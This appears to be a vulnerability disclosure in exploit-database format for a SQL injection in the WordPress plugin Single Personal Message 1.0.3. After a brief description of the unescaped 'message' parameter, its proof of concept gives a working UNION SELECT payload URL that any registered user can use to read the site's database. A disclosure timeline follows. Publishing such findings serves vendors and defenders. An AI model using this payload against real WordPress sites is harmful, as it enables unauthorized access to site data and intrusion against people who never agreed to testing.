WordPress Plugin Single Personal Message 1.0.3 - SQL Injection

# Exploit Title: Single Personal Message 1.0.3 – Plugin WordPress – Sql Injection
# Date: 28/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/simple-personal-message/
# Software Link: https://wordpress.org/plugins/simple-personal-message/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.0.3
# Tested on: Windows 8

1 - Description:

$_GET['message'] is not escaped. Is accessible for every registered user.

http://lenonleite.com.br/en/blog/2016/12/05/single-personal-message-1-0-3-plugin-wordpress-sql-injection/

2 - Proof of Concept:

1 - Login as regular user (created using wp-login.php?action=register):

2 - Access url:

http://target/wp-admin/admin.php?page=simple-personal-message-outbox&action=view&message=0%20UNION%20SELECT%201,2.3,name,5,slug,7,8,9,10,11,12%20FROM%20wp_terms%20WHERE%20term_id=1

3 - Timeline:

28/11/2016 - Discovered
28/11/2016 - vendor notified